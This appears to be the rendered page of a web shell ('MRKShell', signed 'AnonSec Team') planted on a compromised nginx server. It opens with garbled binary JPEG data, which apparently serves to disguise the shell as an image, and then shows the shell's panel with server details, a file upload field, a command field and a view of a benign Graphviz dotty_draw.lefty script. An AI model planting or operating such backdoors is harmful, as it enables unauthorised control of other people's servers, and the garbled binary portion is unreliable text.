JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 104.23.243.235
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/graphviz/lefty/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/graphviz/lefty/dotty_draw.lefty
#
# dotty_draw: drawing functions and data structures
#
dotty.protogt.drawgraph = function (gt, views) {
    local gid, eid, nid, graph;

    graph = gt.graph;
    gt.drawsgraph (gt, views, graph);
    for (gid in graph.graphs)
        gt.drawsgraph (gt, views, graph.graphs[gid]);
    for (eid in graph.edges)
        gt.drawedge (gt, views, graph.edges[eid]);
    for (nid in graph.nodes)
        gt.drawnode (gt, views, graph.nodes[nid]);
};
dotty.protogt.redrawgraph = function (gt, views) {
    local vid;

    for (vid in views)
        clear (views[vid].canvas);
    gt.drawgraph (gt, views);
};
dotty.protogt.setviewsize = function (views, r) {
    local vid, vt, w2v, scale, attr;

    for (vid in views) {
        vt = views[vid];
        vt.wrect = copy (r);
        if (r[1].x == 0 | r[1].y == 0) {
            attr = getwidgetattr (vt.scroll, [0 = 'size';]);
            vt.wrect[1] = copy (attr.size);
        }
        if (vt.type == 'birdseye') {
            attr = getwidgetattr (vt.scroll, [0 = 'size';]);
            scale.x = (vt.wrect[1].x - vt.wrect[0].x) / attr.size.x;
            scale.y = (vt.wrect[1].y - vt.wrect[0].y) / attr.size.y;
            if (scale.x > 1 & scale.x > scale.y)
                vt.w2v = scale.x;
            else if (scale.y > 1)
                vt.w2v = scale.y;
            else
                vt.w2v = 1;
        }
        w2v = vt.w2v;
        vt.vsize = [
            'x' = toint ((vt.wrect[1].x - vt.wrect[0].x) / w2v);
            'y' = toint ((vt.wrect[1].y - vt.wrect[0].y) / w2v);
        ];
        setwidgetattr (vt.canvas, [
            'window' = vt.wrect;
            'viewport' = vt.vsize;
        ]);
        attr = getwidgetattr (vt.canvas, [0 = 'viewport';]);
        vt.vsize = copy (attr.viewport);
    }
};
dotty.protogt.setviewscale = function (views, factor) {
    local vid, vt, w2v, attr;

    for (vid in views) {
        vt = views[vid];
        if ((w2v = vt.w2v * factor) < 0.01) {
            dotty.message (0, 'cannot zoom any closer');
            return;
        }
        vt.w2v = w2v;
        vt.vsize = [
            'x' = (vt.wrect[1].x - vt.wrect[0].x) / w2v;
            'y' = (vt.wrect[1].y - vt.wrect[0].y) / w2v;
        ];
        setwidgetattr (vt.canvas, ['viewport' = vt.vsize;]);
        attr = getwidgetattr (vt.canvas, [0 = 'viewport';]);
        vt.vsize = copy (attr.viewport);
    }
};
dotty.protogt.setviewcenter = function (views, center) {
    local vid, vt, pos;

    for (vid in views) {
        vt = views[vid];
        pos = [
            'x' = center.x * vt.vsize.x / (vt.wrect[1].x - vt.wrect[0].x);
            'y' = (
                (vt.wrect[1].y - center.y) * vt.vsize.y /
                (vt.wrect[1].y - vt.wrect[0].y)
            );
        ];
        setwidgetattr (vt.scroll, ['childcenter' = pos;]);
    }
};
#
# draw graph components
#
dotty.protogt.drawsgraph = function (gt, views, sgraph) {
    sgraph.draw = 1;
    if (~sgraph.draws)
        return;
    gt.execalldraw (gt, views, null, sgraph.draws, [
        'fontname' = sgraph.fontname;
        'fontsize' = sgraph.fontsize;
        'fontcolor' = sgraph.fontcolor;
        'drawcolor' = sgraph.drawcolor;
        'fillcolor' = sgraph.fillcolor;
    ]);
};
dotty.protogt.undrawsgraph = function (gt, views, sgraph) {
    sgraph.drawn = 0;
    if (~sgraph.draws)
        return;
    gt.execalldraw (gt, views, null, sgraph.draws, [
        'fontname' = sgraph.fontname;
        'fontsize' = sgraph.fontsize;
        'fontcolor' = sgraph.fontcolor;
        'drawcolor' = 0;
        'fillcolor' = 0;
    ]);
};
dotty.protogt.drawnode = function (gt, views, node) {
    local vid;

    node.drawn = 1;
    if (~node.draws)
        return;
    gt.execalldraw (gt, views, node, node.draws, [
        'fontname' = node.fontname;
        'fontsize' = node.fontsize;
        'fontcolor' = node.fontcolor;
        'drawcolor' = node.drawcolor;
        'fillcolor' = node.fillcolor;
    ]);
    for (vid in views)
        setpick (views[vid].canvas, node, node.rect);
};
dotty.protogt.undrawnode = function (gt, views, node) {
    local vid;

    if (~node.drawn)
        return;
    node.drawn = 0;
    if (~node.pos)
        return;
    gt.execalldraw (gt, views, node, node.draws, [
        'nooverride' = 1;
        'fontname' = node.fontname;
        'fontsize' = node.fontsize;
        'fontcolor' = 0;
        'drawcolor' = 0;
        'fillcolor' = 0;
    ]);
    for (vid in views)
        clearpick (views[vid].canvas, node);
};
dotty.protogt.movenode = function (gt, node, pos) {
    local dp, eid, edge;

    dp.x = pos.x - node.pos.x;
    dp.y = pos.y - node.pos.y;
    gt.undrawnode (gt, gt.views, node);
    node.pos.x = pos.x;
    node.pos.y = pos.y;
    gt.movenodedraw (node.draws, dp);
    for (eid in node.edges) {
        edge = node.edges[eid];
        gt.undrawedge (gt, gt.views, edge);
        gt.moveedgedraw (edge.draws, edge.tail.pos, edge.head.pos);
        gt.drawedge (gt, gt.views, edge);
    }
    gt.drawnode (gt, gt.views, node);
};
dotty.protogt.drawedge = function (gt, views, edge) {
    local vid, canvas;

    edge.drawn = 1;
    if (~edge.draws)
        return;
    gt.execalldraw (gt, views, edge, edge.draws, [
        'fontname' = edge.fontname;
        'fontsize' = edge.fontsize;
        'fontcolor' = edge.fontcolor;
        'drawcolor' = edge.drawcolor;
        'fillcolor' = edge.fillcolor;
    ]);
    for (vid in views) {
        canvas = views[vid].canvas;
        if (gt.edgehandles == 0 | ~edge.draws.ep)
            continue;
        arc (canvas, edge, edge.draws.ep, ['x' = 5; 'y' = 5;], ['color' = 1;]);
    }
};
dotty.protogt.undrawedge = function (gt, views, edge) {
    local vid, canvas;

    if (~edge.drawn)
        return;
    edge.drawn = 0;
    if (~edge.draws)
        return;
    gt.execalldraw (gt, views, edge, edge.draws, [
        'nooverride' = 1;
        'fontname' = edge.fontname;
        'fontsize' = edge.fontsize;
        'fontcolor' = 0;
        'drawcolor' = 0;
        'fillcolor' = 0;
    ]);
    for (vid in views) {
        canvas = views[vid].canvas;
        if (gt.edgehandles == 0 | ~edge.draws.ep)
            continue;
        arc (canvas, edge, edge.draws.ep, ['x' = 5; 'y' = 5;], ['color' = 0;]);
        clearpick (canvas, edge);
    }
};
#
# draw directives
#
dotty.protogt.execalldraw = function (gt, views, obj, draws, gc) {
    local vid, vt, did, draw, i, func;

    for (vid in views) {
        vt = views[vid];
        for (did in draws) {
            if (did == 'ep')
                continue;
            draw = draws[did];
            for (i = 0; draw[i]; i = i + 1)
                if ((func = gt.drawfunc[draw[i].type]))
                    func (gt, vt.canvas, obj, draw[i], gc);
        }
    }
};
dotty.protogt.drawfunc.E = function (gt, canvas, obj, data, gc) {
    arc (canvas, obj, data.c, data.s, [
        'color' = gc.fillcolor; 'style' = gc.style; 'width' = gc.width;
        'fill' = 'on';
    ]);
    arc (canvas, obj, data.c, data.s, [
        'color' = gc.drawcolor; 'style' = gc.style; 'width' = gc.width;
    ]);
};
dotty.protogt.drawfunc.e = function (gt, canvas, obj, data, gc) {
    arc (canvas, obj, data.c, data.s, [
        'color' = gc.drawcolor; 'style' = gc.style; 'width' = gc.width;
    ]);
};
dotty.protogt.drawfunc.P = function (gt, canvas, obj, data, gc) {
    polygon (canvas, obj, data.ps, [
        'color' = gc.fillcolor; 'style' = gc.style; 'width' = gc.width;
        'fill' = 'on';
    ]);
    polygon (canvas, obj, data.ps, [
        'color' = gc.drawcolor; 'style' = gc.style; 'width' = gc.width;
    ]);
};
dotty.protogt.drawfunc.p = function (gt, canvas, obj, data, gc) {
    polygon (canvas, obj, data.ps, [
        'color' = gc.drawcolor; 'style' = gc.style; 'width' = gc.width;
    ]);
};
dotty.protogt.drawfunc.L = function (gt, canvas, obj, data, gc) {
    polygon (canvas, obj, data.ps, [
        'color' = gc.drawcolor; 'style' = gc.style; 'width' = gc.width;
    ]);
};
dotty.protogt.drawfunc.b = function (gt, canvas, obj, data, gc) {
    splinegon (canvas, obj, data.ps, [
        'color' = gc.fillcolor; 'style' = gc.style; 'width' = gc.width;
        'fill' = 'on';
    ]);
};
dotty.protogt.drawfunc.B = function (gt, canvas, obj, data, gc) {
    splinegon (canvas, obj, data.ps, [
        'color' = gc.drawcolor; 'style' = gc.style; 'width' = gc.width;
    ]);
};
dotty.protogt.drawfunc.T = function (gt, canvas, obj, data, gc) {
    text (canvas, obj, data.p, data.s, gc.fontname, gc.fontsize, data.j, [
        'color' = gc.fontcolor; 'style' = gc.style; 'width' = gc.width;
    ]);
};
dotty.protogt.drawfunc.C = function (gt, canvas, obj, data, gc) {
    if (gc.nooverride ~= 1)
        gc.fillcolor = data.fillcolor;
};
dotty.protogt.drawfunc.c = function (gt, canvas, obj, data, gc) {
    if (gc.nooverride ~= 1) {
        gc.drawcolor = data.drawcolor;
        gc.fontcolor = data.drawcolor;
    }
};
dotty.protogt.drawfunc.F = function (gt, canvas, obj, data, gc) {
    gc.fontname = data.fn;
    gc.fontsize = data.fs;
};
dotty.protogt.drawfunc.S = function (gt, canvas, obj, data, gc) {
    gc.style = data.style;
    gc.width = data.width;
};
dotty.protogt.movenodedraw = function (draws, dp) {
    local did, draw, i, j;

    for (did in draws) {
        if (did == 'ep')
            continue;
        draw = draws[did];
        for (i = 0; draw[i]; i = i + 1) {
            if (draw[i].type == 'E' | draw[i].type == 'e') {
                draw[i].c.x = draw[i].c.x + dp.x;
                draw[i].c.y = draw[i].c.y + dp.y;
            } else if (draw[i].type == 'P' | draw[i].type == 'p') {
                for (j = 1; draw[i].ps[j]; j = j + 1) {
                    draw[i].ps[j].x = draw[i].ps[j].x + dp.x;
                    draw[i].ps[j].y = draw[i].ps[j].y + dp.y;
                }
            } else if (draw[i].type == 'L' | draw[i].type == 'B') {
                for (j = 0; draw[i].ps[j]; j = j + 1) {
                    draw[i].ps[j].x = draw[i].ps[j].x + dp.x;
                    draw[i].ps[j].y = draw[i].ps[j].y + dp.y;
                }
            } else if (draw[i].type == 'T') {
                draw[i].p.x = draw[i].p.x + dp.x;
                draw[i].p.y = draw[i].p.y + dp.y;
            }
        }
    }
};
dotty.protogt.moveedgedraw = function (draws, tp, hp) {
    local draws2, did;

    for (did in draws)
        draws2[did] = draws[did];
    for (did in draws2)
        remove (did, draws);
    draws[0] = [
        0 = [
            'type' = 'L';
            'n' = 2;
            'ps' = [
                0 = copy (tp);
                1 = copy (hp);
            ];
        ];
        'ep' = ['x' = (tp.x + hp.x) / 2; 'y' = (tp.y + hp.y) / 2;];
    ];
};
dotty.protogt.simplenodedraw = function (node, c, s) {
    local draws;

    if (node.attr.shape == 'ellipse')
        draws[0] = [
            0 = [
                'type' = 'e';
                'c' = copy (c);
                's' = ['x' = s.x / 2; 'y' = s.y / 2;];
            ];
        ];
    else
        draws[0] = [
            0 = [
                'type' = 'p';
                'n' = 5;
                'ps' = [
                    0 = ['x' = c.x - s.x / 2; 'y' = c.y - s.y / 2;];
                    1 = ['x' = c.x + s.x / 2; 'y' = c.y - s.y / 2;];
                    2 = ['x' = c.x + s.x / 2; 'y' = c.y + s.y / 2;];
                    3 = ['x' = c.x - s.x / 2; 'y' = c.y + s.y / 2;];
                    4 = ['x' = c.x - s.x / 2; 'y' = c.y - s.y / 2;];
                ];
            ];
        ];
    return draws;
};
dotty.protogt.simpleedgedraw = function (edge, tp, hp) {
    local draws;

    draws[0] = [
        0 = [
            'type' = 'L';
            'n' = 2;
            'ps' = [
                0 = copy (tp);
                1 = copy (hp);
            ];
        ];
        'ep' = ['x' = (tp.x + hp.x) / 2; 'y' = (tp.y + hp.y) / 2;];
    ];
    return draws;
};
#
# utilities
#
dotty.protogt.getcolor = function (views, name) {
    local vid, vt, color, t;

    for (vid in views) {
        vt = views[vid];
        if (~(color >= 0)) {
            if (~(vt.colors[name] >= 0))
                color = (vt.colors[name] = vt.colorn);
            else {
                color = vt.colors[name];
                break;
            }
        } else if (~(vt.colors[name] >= 0))
            vt.colors[name] = color;
        else if (vt.colors[name] ~= color)
            dotty.message (0, concat ('inconsistent color ids for ', name));
        if (setwidgetattr (vt.canvas, ['color' = [color = name;];]) ~= 1) {
            t = split (name, ' ');
            if (tablesize (t) ~= 3 |
                    setwidgetattr (vt.canvas, ['color' = [color = [
                        'h' = ston (t[0]); 's' = ston (t[1]); 'v' = ston (t[2]);
                    ];];]) ~= 1) {
                dotty.message (0, concat ('unknown color ', name, ' using #1'));
                return 1;
            }
        }
        vt.colorn = color + 1;
    }
    return color;
};
dotty.protogt.setbgcolor = function (views, name) {
    local vid, vt, t;

    for (vid in views) {
        vt = views[vid];
        if (setwidgetattr (vt.canvas, ['color' = [0 = name;];]) ~= 1) {
            t = split (name, ' ');
            if (tablesize (t) ~= 3 |
                    setwidgetattr (vt.canvas, ['color' = [0 = [
                        'h' = ston (t[0]); 's' = ston (t[1]); 'v' = ston (t[2]);
                    ];];]) ~= 1) {
                dotty.message (0, concat ('unknown bgcolor ', name));
                return;
            }
        }
        vt.colors['_bgcolor_'] = name;
    }
};
dotty.protogt.unpacksgraphattr = function (gt, sgraph) {
    local attr;

    attr = sgraph.graphattr;
    if (dotty.fontmap[attr.fontname])
        sgraph[dotty.keys.fname] = dotty.fontmap[attr.fontname];
    else
        sgraph[dotty.keys.fname] = attr.fontname;
    sgraph[dotty.keys.fsize] = ston (attr.fontsize);
    sgraph[dotty.keys.fcolor] = gt.getcolor (gt.views, attr.fontcolor);
    if (attr.color)
        sgraph[dotty.keys.dcolor] = gt.getcolor (gt.views, attr.color);
    else
        sgraph[dotty.keys.dcolor] = gt.getcolor (gt.views, 'black');
    if (attr.style == 'filled') {
        if (attr.fillcolor)
            sgraph[dotty.keys.bcolor] = gt.getcolor (gt.views, attr.fillcolor);
        else if (attr.color)
            sgraph[dotty.keys.bcolor] = gt.getcolor (gt.views, attr.color);
        else
            sgraph[dotty.keys.bcolor] = gt.getcolor (gt.views, 'lightgrey');
    }
};
dotty.protogt.unpacknodeattr = function (gt, node) {
    local attr;

    attr = node.attr;
    if (dotty.fontmap[attr.fontname])
        node[dotty.keys.fname] = dotty.fontmap[attr.fontname];
    else
        node[dotty.keys.fname] = attr.fontname;
    node[dotty.keys.fsize] = ston (attr.fontsize);
    node[dotty.keys.fcolor] = gt.getcolor (gt.views, attr.fontcolor);
    if (attr.color)
        node[dotty.keys.dcolor] = gt.getcolor (gt.views, attr.color);
    else
        node[dotty.keys.dcolor] = gt.getcolor (gt.views, 'black');
    if (attr.style == 'filled') {
        if (attr.fillcolor)
            node[dotty.keys.bcolor] = gt.getcolor (gt.views, attr.fillcolor);
        else if (attr.color)
            node[dotty.keys.bcolor] = gt.getcolor (gt.views, attr.color);
        else
            node[dotty.keys.bcolor] = gt.getcolor (gt.views, 'lightgrey');
    }
};
dotty.protogt.unpackedgeattr = function (gt, edge) {
    local attr;

    attr = edge.attr;
    if (dotty.fontmap[attr.fontname])
        edge[dotty.keys.fname] = dotty.fontmap[attr.fontname];
    else
        edge[dotty.keys.fname] = attr.fontname;
    edge[dotty.keys.fsize] = ston (attr.fontsize);
    edge[dotty.keys.fcolor] = gt.getcolor (gt.views, attr.fontcolor);
    if (attr.color)
        edge[dotty.keys.dcolor] = gt.getcolor (gt.views, attr.color);
    else
        edge[dotty.keys.dcolor] = gt.getcolor (gt.views, 'black');
    if (attr.style == 'filled') {
        if (attr.fillcolor)
            edge[dotty.keys.bcolor] = gt.getcolor (gt.views, attr.fillcolor);
        else if (attr.color)
            edge[dotty.keys.bcolor] = gt.getcolor (gt.views, attr.color);
        else
            edge[dotty.keys.bcolor] = gt.getcolor (gt.views, 'lightgrey');
    }
};
dotty.protogt.unpackattr = function (gt) {
    local gid, sgraph, nid, node, eid, edge, graph, attr;

    graph = gt.graph;
    attr = graph.graphattr;
    if (dotty.fontmap[attr.fontname])
        graph[dotty.keys.fname] = dotty.fontmap[attr.fontname];
    else
        graph[dotty.keys.fname] = attr.fontname;
    graph[dotty.keys.fsize] = ston (attr.fontsize);
    graph[dotty.keys.fcolor] = gt.getcolor (gt.views, attr.fontcolor);
    if (attr.color)
        graph[dotty.keys.dcolor] = gt.getcolor (gt.views, attr.color);
    else
        graph[dotty.keys.dcolor] = gt.getcolor (gt.views, 'black');
    if (attr.style == 'filled') {
        if (attr.fillcolor)
            graph[dotty.keys.bcolor] = gt.getcolor (gt.views, attr.fillcolor);
        else if (attr.color)
            graph[dotty.keys.bcolor] = gt.getcolor (gt.views, attr.color);
        else
            graph[dotty.keys.bcolor] = gt.getcolor (gt.views, 'lightgrey');
    }
    if (attr.bgcolor & attr.bgcolor ~= '')
        gt.setbgcolor (gt.views, attr.bgcolor);
    for (gid in graph.graphdict) {
        sgraph = graph.graphs[graph.graphdict[gid]];
        attr = sgraph.graphattr;
        if (dotty.fontmap[attr.fontname])
            sgraph[dotty.keys.fname] = dotty.fontmap[attr.fontname];
        else
            sgraph[dotty.keys.fname] = attr.fontname;
        sgraph[dotty.keys.fsize] = ston (attr.fontsize);
        sgraph[dotty.keys.fcolor] = gt.getcolor (gt.views, attr.fontcolor);
        if (attr.color)
            sgraph[dotty.keys.dcolor] = gt.getcolor (gt.views, attr.color);
        else
            sgraph[dotty.keys.dcolor] = gt.getcolor (gt.views, 'black');
        if (attr.style == 'filled') {
            if (attr.fillcolor)
                sgraph[dotty.keys.bcolor] = gt.getcolor (
                    gt.views, attr.fillcolor
                );
            else if (attr.color)
                sgraph[dotty.keys.bcolor] = gt.getcolor (gt.views, attr.color);
            else
                sgraph[dotty.keys.bcolor] = gt.getcolor (gt.views, 'lightgrey');
        }
    }
    for (nid in graph.nodedict) {
        node = graph.nodes[graph.nodedict[nid]];
        attr = node.attr;
        if (dotty.fontmap[attr.fontname])
            node[dotty.keys.fname] = dotty.fontmap[attr.fontname];
        else
            node[dotty.keys.fname] = attr.fontname;
        node[dotty.keys.fsize] = ston (attr.fontsize);
        node[dotty.keys.fcolor] = gt.getcolor (gt.views, attr.fontcolor);
        if (attr.color)
            node[dotty.keys.dcolor] = gt.getcolor (gt.views, attr.color);
        else
            node[dotty.keys.dcolor] = gt.getcolor (gt.views, 'black');
        if (attr.style == 'filled') {
            if (attr.fillcolor)
                node[dotty.keys.bcolor] = gt.getcolor (
                    gt.views, attr.fillcolor
                );
            else if (attr.color)
                node[dotty.keys.bcolor] = gt.getcolor (gt.views, attr.color);
            else
                node[dotty.keys.bcolor] = gt.getcolor (gt.views, 'lightgrey');
        }
    }
    for (eid in graph.edges) {
        edge = graph.edges[eid];
        attr = edge.attr;
        if (dotty.fontmap[attr.fontname])
            edge[dotty.keys.fname] = dotty.fontmap[attr.fontname];
        else
            edge[dotty.keys.fname] = attr.fontname;
        edge[dotty.keys.fsize] = ston (attr.fontsize);
        edge[dotty.keys.fcolor] = gt.getcolor (gt.views, attr.fontcolor);
        if (attr.color)
            edge[dotty.keys.dcolor] = gt.getcolor (gt.views, attr.color);
        else
            edge[dotty.keys.dcolor] = gt.getcolor (gt.views, 'black');
    }
};

Anon7 - 2022
AnonSec Team